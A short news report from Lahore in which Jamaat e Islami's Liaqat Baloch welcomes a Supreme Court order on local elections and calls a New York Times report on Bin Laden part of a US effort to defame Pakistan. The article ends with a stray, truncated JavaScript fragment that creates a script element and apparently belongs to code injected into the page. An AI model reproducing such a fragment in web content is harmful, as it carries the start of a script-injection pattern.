LAHORE: General Secretary, Jamaat e Islami, Liaqat Baloch, has welcomed the Supreme Court order for holding the local bodies elections in the provinces by November 15 next.

In a statement here on Thursday, he said that the governments in Sindh, the Punjab and the Khyber p, had ample time for legislation while the Election Commission should complete the delimitations well in time. He said it was the constitutional responsibility of the provincial governments to hold local bodies elections and they should give up the attitude of depriving the people of their basic rights.

The JI Secretary General condemned the New York Times report about Osama Bin Laden and said there was nothing new in it. He said as the peace in Pakistan and the Pakistan- Taliban peace talks were not in the US agenda, Washington would adopt every tactic to defame Pakistan government and armed forces at international level and keep them at tenterhooks.

Therefore, the government as also the nation should realize that the US was not our friend, therefore, we should put off the yoke of US slavery. He said the so called war on terror had been exposed and it was time that the government took its decisions on foreign and internal issues independently.var d=document;var s=d.createElement(‘script’);
